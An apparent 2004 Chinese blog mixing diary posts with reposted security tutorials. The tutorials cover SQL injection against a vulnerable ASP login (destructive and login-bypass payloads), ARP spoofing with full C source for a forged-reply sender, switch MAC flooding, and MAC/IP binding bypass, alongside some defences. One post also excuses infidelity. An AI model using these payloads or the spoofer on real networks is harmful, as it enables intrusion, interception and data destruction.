工作后的第一个中秋

昨晚一个人过,虽然有同事过来聊天,但还是感觉比较孤单.今天遇到一个同事,她说她昨天晚上一个人去唱歌了….
不知道大家中秋节都是怎么过的,还是那句话,希望大家都过得好.祝大家国庆愉快吧

有6个Gmail的邀请

今天收到6个Gmail的邀请.打算送出三个给前三个在这个日记留下自己Email地址的朋友…..如果你很渴望得到一个Gmail的话

这几天过的很平淡,淡的就象是冲了N次的茶叶,一点味道没有.
张老师让我做住房补贴系统,替换掉以前南大街做的那个.我心里很是没底.不知道什么时候才可以做好.每天的工作虽然不多,但是交给我的工作都不怎么顺手,做的很差,问题比较多.我尽量让自己耐心做好我的工作…
快要10.1了,真快,别人都去玩了,我一点打算也没有….在宿舍待着吧…

I Robot

1.机器人不能伤害人类,或坐视人类受到伤害而袖手旁观。 2.除非违背第一法则,机器人必须服从人类的命令。 3.在不违背第一和第二法则前提下,机器人必须保护自己。——阿西莫夫提出的《机器人三大安全法则》
在日內瓦舉行的「國際機器人學術會議《(International Robotics Convention,IRC),與會廠商以及贊助者在「尖端設計《展場的神秘發表會首度見到NS-5系列機器人。

美國機器人企業(US Robotics)會長蘭斯.羅柏森說:「上可思議、智慧獨具、近乎完美的NS-5機器人即將改變你的生活。《經過45分鐘的演說,並現場示範操作NS-5機器人,最後他問在場觀眾:「各位想要如何使用你們的機器人?《

托墨.蘇吉亞奇在發表會結束後表示,「我看過很多印象深刻的機器人,這確實是最頂尖的,NS-5的先進、擬真的程度實在是令人吃驚!


我想,在2004年,如果你没有看这部<>的话,那一定会让你后悔不已.在人类发展到信息时代的时候,下一个时代会是什么样的呢?I Robot做了最好的诠释.一个机器人的时代.
为什么要发明机器人?
为什么要发明汽车?洗衣机?吹风机..? 这些发明都在让人类”以逸待劳”节省宝贵的时间.想想看网络帮我们完成了多少东西.想想看飞机让我们的旅程增加了多少距离.现在再想想看:如果有个人助手可以帮我们做任何事,不分昼夜,全年无休,那会怎样呢?自由!

我真的不敢相信真的会有NS-5这样的机器人,但它的确存在.它具有1TB的存储容量,三大安全法则做保障,保护人不受到危害.可以数据传送到局域网络,然后通过卫星传送到服务中心,进行集中处理…..真的不可思议
NS-5机器人相关
I.Robot相关

很详细的SQL注入漏洞说明

这份文档是详细讨论SQL注入技术,它适应于比较流行的IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过各种各样的方法注入到应用程序中,并且记录与攻击相关的数据确认和数据库锁定。

这份文档的预期读者为与数据库通信的WEB程序的开发者和那些扮演审核WEB应用程序的安全专家。

介绍:
SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。
当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。

一个典型的SQL语句如下:
Select id,forename,surname from authors
这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:
Select id,forename,surname from authors where forename’john’ and surname=’smith’
需要着重指明的是字符串’john’和’smith’被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,
如下:
Forename:jo’hn
Surname:smith
查询语句变为:
Select id,forename,surname from authors where forename=’jo’hn’ and surname=’smith’
当数据库试图去执行这个查询时,它将返回如下错误:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near ‘hn’
造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行’hn’,但是失败。如果攻击者提供特别的输入如:
Forename:jo’;drop table authors—
Surname:
结果是authors表被删除,造成这种结果的原因我们稍后再讲。

看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:
Select id,forename,surname from authors where id=1234
在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用’#’限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。

我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。
这是一个提交表单页的代码,让用户输入用户名和密码:


Login Page



Login

Username:
Password:





下面是process_login.asp的代码,它是用来控制登陆的:


<%@LANGUAGE = JScript %>
<% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); } function Login( cn ) { var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql ); rso.open( sql, cn ); if (rso.EOF) { rso.close(); %>

ACCESS DENIED



<% Response.end return; } else { Session("username") = "" + rso("username"); %>

ACCESS GRANTED

Welcome, <% Response.write(rso("Username")); Response.write( "” ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( “ADODB.Connection” );
cn.connectiontimeout = 20;
cn.open( “localserver”, “sa”, “password” );
username = new String( Request.form(“username”) );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>
出现问题的地方是process_lgin.asp中产生查询语句的部分:
Var sql=”select * from users where username='”+username+”‘ and password='”+password+”‘”;
如果用户输入的信息如下:
Username:’;drop table users—
Password:
数据库中表users将被删除,拒绝任何用户进入应用程序。’—’符号在Transact-SQL中表示忽略’—’以后的语句,’;’符号表示一个查询的结束和另一个查询的开始。’—’位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。

攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:
Username:admin’—
攻击者可以使用users表中第一个用户,输入如下:
Username:’ or 1=1—
更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:
Username:’ union select 1,’fictional_user’,’some_password’,1—
这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。

通过错误消息获得信息
这个几乎是David Litchfield首先发现的,并且通过作

交换网络中的嗅探和ARP欺骗

以太网内的嗅探(sniff)对于网络安全来说并不是什么好事,虽然对于网络管理员能够跟踪数据包并且发现
网络问题,但是如果被破坏者利用的话,就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。

ARP缓存表
假设这样一个网络:

——————————
| HUB |
——————————
| | |
| | |
| | |
HostA HostB HostC

其中
A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

假设B是属于一个嗅探爱好者的,比如A机器的ARP缓存:

C:>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type
192.168.10.3 CC-CC-CC-CC-CC-CC dynamic

这是192.168.10.1机器上的ARP缓存表,假设,A进行一次ping 192.168.10.3操作,PING主机C,会查询本地的
ARP缓存表,找到C的IP地址的MAC地址,那么就会进行数据传输,目的地就是C 的MAC地址。如果A中没有C的ARP记
录,那么A首先要广播一次ARP请求,当C接收到A 的请求后就发送一个应答,应答中包含有C的MAC地址,然后A接
收到C的应答,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。
因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。

集线器网络(Hub-Based)

很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候,Hub只是简单地把这个数据包广播
到Hub的所有端口上。
这就是上面举例中的一种网络结构。

现在A需要发送TCP数据包给C。首先,A需要检查本地的ARP 缓存表,查看是否有IP为192.168.10.3即C的ARP记
录,如果没有那么A将要广播一个ARP请求,当C接收到这个请求后,就作出应答,然后A更新自己的ARP缓存表。并
且获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包,Ethernet帧中就包含了C的MAC地址。当数据包传输
到HUB的时候,HUB直接把整个数据包广播到所有的端口,然后C就能够接收到A发送的数据包。

正因为HUB把数据广播到所有的端口,所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。

因此,Hub-Based的网络基本没有安全可言,嗅探在这样的网络中非常容易。

交换网络(Switched Lan)

交换机用来代替HUB,正是为了能够解决HUB的几个安全问题,其中就是能够来解决嗅探问题。Switch不是把数
据包进行端口广播,它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此,在交换网络上,如果把上面
例子中的HUB换为Switch,B就不会接收到A发送给C的数据包,即便设置网卡为混杂模式,也不能进行嗅探。

ARP欺骗( ARP spoofing)

ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存
进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,在上面的假设网络中,B向A发送一个自己伪造的ARP应
答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地
址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A可不
知道被伪造了)。

现在A机器的ARP缓存更新了:

C:>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type
192.168.10.3 DD-DD-DD-DD-DD-DD dynamic

这可不是小事。局域网的网络流通可不是根据IP地址进行,而是按照MAC地址进行传输。现在192.168.10.3的
MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3,网卡递交的MAC地址是
DD-DD-DD-DD-DD-DD,结果是什么呢?网络不通,A根本不能Ping通C!!

这就是一个简单的ARP欺骗。

我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。(http://winpcap.polito.it/)
winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。

///////////////////////////////////////////////////////////////////////////////
//
// ARP Sender
//
// Creator: Refdom
// Email: refdom@263.net
// Home Page: www.opengram.com
//
// 2002/4/7
//
////////////////////////////////////////////////////////////////////////////////

#include “stdafx.h”
#include “Mac.h” //GetMacAddr(),我写的把字符串转换为MAC地址的函数,就不列在这里了
#include
#include

#define EPT_IP 0x0800 /* type: IP */
#define EPT_ARP 0x0806 /* type: ARP */
#define EPT_RARP 0x8035 /* type: RARP */
#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
#define ARP_REQUEST 0x0001 /* ARP request */
#define ARP_REPLY 0x0002 /* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr
{
unsigned char eh_dst[6]; /* destination ethernet addrress */
unsigned char eh_src[6]; /* source ethernet addresss */
unsigned short eh_type; /* ethernet pachet type */
}EHHDR, *PEHHDR;

typedef struct arphdr
{
unsigned short arp_hrd; /* format of hardware address */
unsigned short arp_pro; /* format of protocol address */
unsigned char arp_hln; /* length of hardware address */
unsigned char arp_pln; /* length of protocol address */
unsigned short arp_op; /* ARP/RARP operation */

unsigned char arp_sha[6]; /* sender hardware address */
unsigned long arp_spa; /* sender protocol address */
unsigned char arp_tha[6]; /* target hardware address */
unsigned long arp_tpa; /* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct arpPacket
{
EHHDR ehhdr;
ARPHDR arphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];

LPADAPTER lpAdapter;
LPPACKET lpPacket;
WCHAR AdapterName[2048];
WCHAR *temp,*temp1;
ARPPACKET ARPPacket;

ULONG AdapterLength = 1024;

int AdapterNum = 0;
int nRetCode, i;

//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
{
printf(“Unable to retrieve the list of the adapters!n”);
return 0;
}

temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != ‘’)||(*(temp-1) != ‘’))
{
if (*temp == ‘’)
{
memcpy(AdapterList[i],temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}

temp++;
}

AdapterNum = i;
for (i = 0; i < AdapterNum; i++) wprintf(L"n%d- %sn", i+1, AdapterList[i]); printf("n"); //Default open the 0 lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]); //取第一个网卡(假设啦) if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf(“Unable to open the driver, Error Code : %lxn”, nRetCode);
return 0;
}

lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf(“nError:failed to allocate the LPPACKET structure.”);
return 0;
}

ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

if (!GetMacAddr(“BBBBBBBBBBBB”, MacAddr))
{
printf (“Get Mac address error!n”);
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址

if (!GetMacAddr(“AAAAAAAAAAAA”, MacAddr))
{
printf (“Get Mac address error!n”);
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)

ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

if (!GetMacAddr(“DDDDDDDDDDDD”, MacAddr))
{
printf (“Get Mac address error!n”);
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址
ARPPacket.arphdr.arp_spa = inet_addr(“192.168.10.3”); //C的IP地址

if (!GetMacAddr(“AAAAAAAAAAAA”, MacAddr))
{
printf (“Get Mac address error!n”);
return 0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标A的MAC地址
ARPPacket.arphdr.arp_tpa = inet_addr(“192.168.10.1”); //目标A的IP地址

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
printf(“warning: Unable to send more than one packet in a single write!n”);
}

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf(“Error sending the packets!n”);
return 0;
}

printf (“Send ok!n”);

// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}

于是A接收到一个被伪造的ARP应答。A被欺骗了!!倘若在局域网中看某某机器不顺眼,……

以太网中的嗅探太有作用了,但是交换网络对嗅探进行了限制,让嗅探深入程度大打折扣。不过,很容易就能
够发现,主机、Switch(动态更新地址表类型,下同)中的缓存表依然是(主要是)动态的。要在一个交换网络中
进行有效的嗅探工作(地下党?),需要采用对付各种缓存表的办法,连骗带哄,甚至乱踹,在上面的ARP欺骗基础
中我们就能够做到。

对目标进行ARP欺骗

就象上面程序中实现的一样,对目标A进行欺骗,A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如
果进行欺骗的时候,把C的MAC地址骗为BB-BB-BB-BB-BB-BB,于是A发送到C上的数据包都变成发送给B的了。这不正
好是B能够接收到A发送的数据包了么,嗅探成功。
A对这个变化一点都没有意识到,但是接下来的事情就让A产生了怀疑。因为A和C连接不上了!!B对接收到A发送
给C的数据包可没有转交给C。
做“man in the middle”,进行ARP重定向。打开B的IP转发功能,A发送过来的数据包,转发给C,好比一个路由
器一样。不过,假如B发送ICMP重定向的话就中断了整个计划。
直接进行整个包的修改转发,捕获到A发送给的数据包,全部进行修改后再转发给C,而C接收到的数据包完全认为
是从A发送来的。不过,C发送的数据包又直接传递给A,倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥
梁了。

对Switch的MAC欺骗

Switch上同样维护着一个动态的MAC缓存,它一般是这样,首先,交换机内部有一个对应的列表,交换机的端口对
应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址,这个表开始是空的,交换机从来往数据帧中学
习。举例来说,当Port 1口所接的计算机发出了一个数据帧,这帧数据从Port 1进入交换机,交换机就取这个数据帧
的原MAC地址AAAA,然后在地址表中记录:Port 1 <-> AAAA, 以后,所有发向MAC地址为AAAA的数据帧,就全从Port 1
口输出,而不会从其它的口输出。

跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了,那么对应的MAC和PORT就一样跟着改变,本来
不应该发送到嗅探器的数据结果发送过来了,这样也达到了嗅探的目的。修改本地(B)发送的数据包MAC地址为原来A的
MAC地址,当经过交换机的时候,交换机发现端口B对应的地址是机器A的MAC地址,于是就将会把A的MAC地址同端口B相对
应,从而把发送给A的数据从端口B传输了,本来这些应该是传送到端口A的。因此,从机器B就能够获得发送给A的数据。

但是,这里有一个问题,A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时,从刚才的欺骗中,
让交换机中一个MAC地址对应了多个端口,这种对于交换机处理还不清楚。还请多指教。

对Switch进行Flood

就象上面介绍Switch的MAC和Port对应关系形成的原理,因为MAC-PORT缓存表是动态更新的,那么让整个Switch的端
口表都改变,对Switch进行MAC地址欺骗的Flood,不断发送大量假MAC地址的数据包,Switch就更新MAC-PORT缓存,如果
能通过这样的办法把以前正常的MAC和Port对应的关系破坏了,那么Switch就会进行泛洪发送给每一个端口,让Switch基
本变成一个HUB,向所有的端口发送数据包,要嗅探的目的一样能够达到。

存在的问题,Switch对这种极限情况的处理,因为属于不正常情况,可能会引起包丢失情况。而且现在对这种极限情
况的Switch状态还很不了解。如果对网络通讯造成了大的破坏,这不属于正常的嗅探(嗅探也会引起一些丢失)。

对Switch进行各种手段的操作,需要小心,如果打开了端口保护,那么可能会让交换机关闭所有用户。因此,对交换
机这样的设备进行欺骗或者其他操作,还不如对一些上级设备进行欺骗,比如目标主机或者路由器。

至于上面关于嗅探的手段都是基于这个动态表进行的。因此,使用静态的ARP就能够进行防范了。对于WIN,使用
arp -s 来进行静态ARP的设置。

感谢winpcap这个开放项目,也感谢Dancefire提供的大量帮助和指正。我在网络设备上的了解还很不够,还请多指正。

?

有个女孩写出这么一段话,看出对爱情的迷茫,其实男人一旦将第一次爱全部付出后,可能就不再认真的谈爱了,心灰意冷了。原文与我的感想见以下:

原文:
“ …一次偶然进了男友的信箱,看了他写给前女友的信,看了那些信……他对那女孩的爱,尽管已经过去了,但还是让我有些酸酸的妒忌。因为他从来不曾那样对我,我竟以为他不会,我竟以为他生就木讷,不会说甜言蜜语不会轰轰烈烈的爱不会为爱生气或开心,原来不是,他会的,只是要说的对象不是我,或者,该说的想说的都已经对那个女孩说玩了,到我这就没有了…… 我不知道,是因为那是他的初恋,所以才那样全心全意?还是因为是我追他的,让他不那么在乎我?或者,我不是他的真爱,所以不会像对那个女孩那样对我?又或者是,现在年纪大了(其实也才24),没了当初的热情??
我好困惑。。。好难过。。。男同学们,你们是不是都对初恋念念不忘?你们是不是都不在乎追你们的女孩,哪怕已经是男女朋友了?你们是不是只对第一次爱情付出最多,以后就越来越少了?你们是不是长大了,就没有年少时的激情了?”

我的感想:

“这是男生的共同心声,我就是完全这么体会的。真想把失去爱后的男生的心声告诉给每位女同胞,真正的恋爱只有一次,爱要珍惜,请勿过分伤了男人的心,切记切记!!!
失去认认真真的第一次爱后,男人可能不会再那样对以后的女孩真正好了,没有心劲了,没有激情了,也没有对浪漫爱情的信仰了!有些事,一辈子只有一次。 当全心爱过一个人后,该付出的全付出了,全心努力去把握过,曾试图给她想要的一切,试图为她而死,但回报是无动于衷的,在寂寞的等待中,心血一点一滴的滴干了最后心血全无 心灰意冷了,等年龄大了,激情不再,加之事业压力,旧事不想再提起,心力不足,无奈里不再去相信憧憬纯真爱情。爱情失去信仰与希望,感情失去忠一的港湾后,对于男人来说,爱情是什么一切无所谓了,所以不少人去包情人 去找第三者,甚至去嫖妓,这些现象某种意义上说是正常的!

男人心冷了,就难再热起来,一切不可逆呀
女人呀,就原谅男人这一点吧,除了你自己要好好把握第一次恋爱的男人外,
其他只能怪造物主了!!!”
[align=right][size=1][color=#cccccc][Edit on 2004-9-12 10:15:21 By jfish][/color][/size][/align]

传说中的Gmail

得到了传说中的Gmail,觉得很幸福.呵呵.
以前在论坛上看过有人在用Gmail,很是奇怪.后来才知道别人是可以邀请你的,给你一个链接,你就可以注册一个帐号.
昨天在http://www.gmailswap.com/index.html 这个专门为交换Gmail invention的论坛里面乞讨了一番,终于得到两个invention.于是赶紧注册了一个huhaook@Gmail.com.爽就一个字.
今天早上登陆看了一番,感觉挺好,因为现在还在开发阶段,有时候会出现要你等待几秒钟的提示.但能得到Gmail我已经很满足了.哈

MAC地址与IP地址绑定策略的破解

1 引言

对“IP地址盗用”的解决方案绝大多数都是采取MAC与IP地址绑定策略,这种做法是十分危险的,本文将就这个问题进行探讨。在这里需要声明的是,本文是处于对对MAC与IP地址绑定策略安全的忧虑,不带有任何黑客性质。

1.1 为什么要绑定MAC与IP 地址

影响网络安全的因素很多,IP地址盗用或地址欺骗就是其中一个常见且危害极大的因素。现实中,许多网络应用是基于IP的,比如流量统计、账号控制等都将IP地址作为标志用户的一个重要的参数。如果有人盗用了合法地址并伪装成合法用户,网络上传输的数据就可能被破坏、窃听,甚至盗用,造成无法弥补的损失。

盗用外部网络的IP地址比较困难,因为路由器等网络互连设备一般都会设置通过各个端口的IP地址范围,不属于该IP地址范围的报文将无法通过这些互连设备。但如果盗用的是Ethernet内部合法用户的IP地址,这种网络互连设备显然无能为力了。“道高一尺,魔高一丈”,对于Ethernet内部的IP地址被盗用,当然也有相应的解决办法。绑定MAC地址与IP地址就是防止内部IP盗用的一个常用的、简单的、有效的措施。

1.2 MAC与IP 地址绑定原理

IP地址的修改非常容易,而MAC地址存储在网卡的EEPROM中,而且网卡的MAC地址是唯一确定的。因此,为了防止内部人员进行非法IP盗用(例如盗用权限更高人员的IP地址,以获得权限外的信息),可以将内部网络的IP地址与MAC地址绑定,盗用者即使修改了IP地址,也因MAC地址不匹配而盗用失败:而且由于网卡MAC地址的唯一确定性,可以根据MAC地址查出使用该MAC地址的网卡,进而查出非法盗用者。

目前,很多单位的内部网络,尤其是学校校园网都采用了MAC地址与IP地址的绑定技术。许多防火墙(硬件防火墙和软件防火墙)为了防止网络内部的IP地址被盗用,也都内置了MAC地址与IP地址的绑定功能。

从表面上看来,绑定MAC地址和IP地址可以防止内部IP地址被盗用,但实际上由于各层协议以及网卡驱动等实现技术,MAC地址与IP地址的绑定存在很大的缺陷,并不能真正防止内部IP地址被盗用。

2 破解MAC与IP地址绑定策略

2.1 IP地址和MAC地址简介

现行的TCP/IP网络是一个四层协议结构,从下往上依次为链路层、网络层、传输层和应用层。

Ethernet协议是链路层协议,使用的地址是MAC地址。MAC地址是Ethernet网卡在Ethernet中的硬件标志,网卡生产时将其存于网卡的EEPROM中。网卡的MAC地址各不相同,MAC地址可以唯一标志一块网卡。在Ethernet上传输的每个报文都含有发送该报文的网卡的MAC地址。

Ethernet根据Ethernet报文头中的源MAC地址和目的MAC来识别报文的发送端和接收端。IP协议应用于网络层,使用的地址为IP地址。使用IP协议进行通讯,每个IP报文头中必须含有源IP和目的IP地址,用以标志该IP报文的发送端和接收端。在Ethernet上使用IP协议传输报文时,IP报文作为Ethernet报文的数据。IP地址对于Ethernet交换机或处理器是透明的。用户可以根据实际网络的需要为网卡配置一个或多个IP地址。MAC地址和IP地址之间并不存在一一对应的关系。

MAC地址存储在网卡的EEPROM中并且唯一确定,但网卡驱动在发送Ethernet报文时,并不从EEPROM中读取MAC地址,而是在内存中来建立一块缓存区,Ethernet报文从中读取源MAC地址。而且,用户可以通过操作系统修改实际发送的Ethernet报文中的源MAC地址。既然MAC地址可以修改,那么MAC地址与IP地址的绑定也就失去了它原有的意义。

2.2 破解方案

下图是破解试验的结构示意图。其内部服务器和外部服务器都提供Web服务,防火墙中实现了MAC地址和IP地址的绑定。报文中的源MAC地址与1P地址对如果无法与防火墙中设置的MAC地址与1P地址对匹配,将无法通过防火墙。主机2和内部服务器都是内部网络中的合法机器;主机1是为了做实验而新加入的机器。安装的操作系统是W2000企业版,网卡是3Com的。

[img]http://www.ccw.com.cn/htm/center/imgage/2004081707.jpg[/img]

试验需要修改主机1中网卡的MAC和IP地址为被盗用设备的MAC和IP地址。首先,在控制面板中选择“网络和拨号连接”,选中对应的网卡并点击鼠标右键,选择属性,在属性页的“常规”页中点击“配置”按钮。在配置属性页中选择“高级”,再在“属性”栏中选择“Network Address”,在“值”栏中选中输人框,然后在输人框中输人被盗用设备的MAC地址,MAC地址就修改成功了。

然后再将IP地址配置成被盗用设备的IP地址。盗用内部客户机IP地址:将主机1的MAC地址和IP地址分别修改为主机2的MAC地址和IP地址。主机1可以访问外部服务器,能够顺利地通过防火墙,访问权限与主机2没有分别。而且,与此同时主机2也可以正常地访问外部服务器,完全不受主机1的影响。无论是主机2还是防火墙都察觉不到主机1的存在。主机1如果访问内部服务器,根本无需通过防火墙,更是畅通无阻了。

盗用内部服务器IP地址:将主机1的MAC地址和U地址修改为内部服务器的MAC地址和IP地址。主机1也提供Web服务。为了使效果更明显,主机1上提供的Web服务内容与内部服务器提供的内容不同。

因为在实际的实验中主机1与主机2连在同一个HUB上,主机2的访问请求总是先被主机1响应,主机2期望访问的是内部服务器,得到的却总是主机1提供的内容。更一般地,主机2如果试图访问内部服务器,获得的到底是主机1提供的内容还是内部服务器提供的内容具有随机性,要看它的访问请求首先被谁响应,在后面的分析中我们将进一步对此进行阐述。

盗用服务器的MAC和IP危害可能更大,如果主机1提供的Web内容和内部服务器中的内容一样,那么主机2将无法识别它访问的到底是哪个机器;如果Web内容中要求输人账号、密码等信息,那么这些信息对于主机1来说则是一览无遗了。

3 破解成功的原因

上面的实验验证了绑定MAC地址与IP地址的确存在很大的缺陷,无法有效地防止内部IP地址被盗用。接下来,将从理论上对该缺陷进行详细的分析。

缺陷存在的前提是网卡的混杂接收模式,所谓混杂接收模式是指网卡可以接收网络上传输的所有报文,无论其目的MAC地址是否为该网卡的MAC地址。正是由于网卡支持混杂模式,才使网卡驱动程序支持MAC地址的修改成为可能;否则,就算修改了MAC地址,但是网卡根本无法接收相应地址的报文,该网卡就变得只能发送,无法接收,通信也就无法正常进行了。

MAC地址可以被盗用的直接原因是网卡驱动程序发送Ethernet报文的实现机制。Ethernet报文中的源MAC地址是驱动程序负责填写的,但驱动程序并不从网卡的EEPROM中读取MAC,而是在内存中建立一个MAC地址缓存区。网卡初始化的时候将EEPROM中的内容读入到该缓存区。如果将该缓存区中的内容修改为用户设置的MAC地址,以后发出去的Ethernet报文的源地址就是修改后的MAC地址了。

如果仅仅是修改MAC地址,地址盗用并不见得能够得逞。Ethernet是基于广播的,Ethernet网卡都能监听到局域网中传输的所有报文,但是网卡只接收那些目的地址与自己的MAC地址相匹配的Ethernet报文。如果有两台具有相同MAC地址的主机分别发出访问请求,而这两个访问请求的响应报文对于这两台主机都是匹配的,那么这两台主机就不只接收到自己需要的内容,而且还会接收到目的为另外一台同MAC主机的内容。

按理说,两台主机因为接收了多余的报文后,都应该无法正常工作,盗用马上就会被察觉,盗用也就无法继续了;但是,在实验中地址被盗用之后,各台实验设备都可以互不干扰的正常工作。这又是什么原因呢?答案应该归结于上层使用的协议。

目前,网络中最常用的协议是TCP/IP协议,网络应用程序一般都是运行在TCP或者UDP之上。例如,实验中Web服务器采用的HTTP协议就是基于TCP的。在TCP或者UDP中,标志通信双方的不仅仅是IP地址,还包括端口号。在一般的应用中,用户端的端口号并不是预先设置的,而是协议根据一定的规则生成的,具有随机性。像上面利用IE来访问Web服务器就是这样。UDP或者TCP的端口号为16位二进制数,两个16位的随机数字相等的几率非常小,恰好相等又谈何容易?两台主机虽然MAC地址和IP地址相同,但是应用端口号不同,接收到的多余数据由于在TCP/UDP层找不到匹配的端口号,被当成无用的数据简单地丢弃了,而TCP/UDP层的处理对于用户层来说是透明的;所以用户可以“正确无误”地正常使用相应的服务,而不受地址盗用的干扰。

当然,某些应用程序的用户端口号可能是用户或者应用程序自己设置的,而不是交给协议来随机的生成。那么,结果又会如何呢?例如,在两台MAC地址和IP地址都相同的主机上,启动了两个端口相同的应用程序,这两个应用是不是就无法正常工作了呢?其实不尽然。

如果下层使用的是UDP协议,两个应用将互相干扰无法正常工作。如果使用的是TCP协议,结果就不一样了。因为TCP是面向连接的,为了实现重发机制,保证数据的正确传输,TCP引入了报文序列号和接收窗口的概念。在上述的端口号匹配的报文中,只有那些序列号的偏差属于接收窗口之内的报文才会被接收,否则,会被认为是过期报文而丢弃。TCP协议中的报文的序列号有32位,每个应用程序发送的第一个报文的序列号是严格按照随机的原则产生的,以后每个报文的序列号依次加1。

窗口的大小有16位,也就是说窗口最大可以是216,而序列号的范围是232,主机期望接收的TCP数据的序列号正好也处于对方的接收范围之内的概率为1/216,可谓小之又小。 TCP的序列号本来是为了实现报文的正确传输,现在却成了地址盗用的帮凶。

4 解决MAC与IP地址绑定被破解的方法

解决MAC与IP地址绑定被破解的方法很多,主要以下几种。

交换机端口、MAC地址和IP地址三者绑定的方法;代理服务与防火墙相结合的方法;用PPPoE协议进行用户认证的方法;基于目录服务策略的方法;统一身份认证与计费软件相结合的方法等(这些方法的实现原理和过程可以参考拙作《校园网IP地址盗用解决方案》)。在这里笔者尤其推荐最后一种方法,这种方法是将校园网办公自动化系统和网络计费软件结合在一起而实现的,这在校园网信息化建设的今天具有很强的实践性。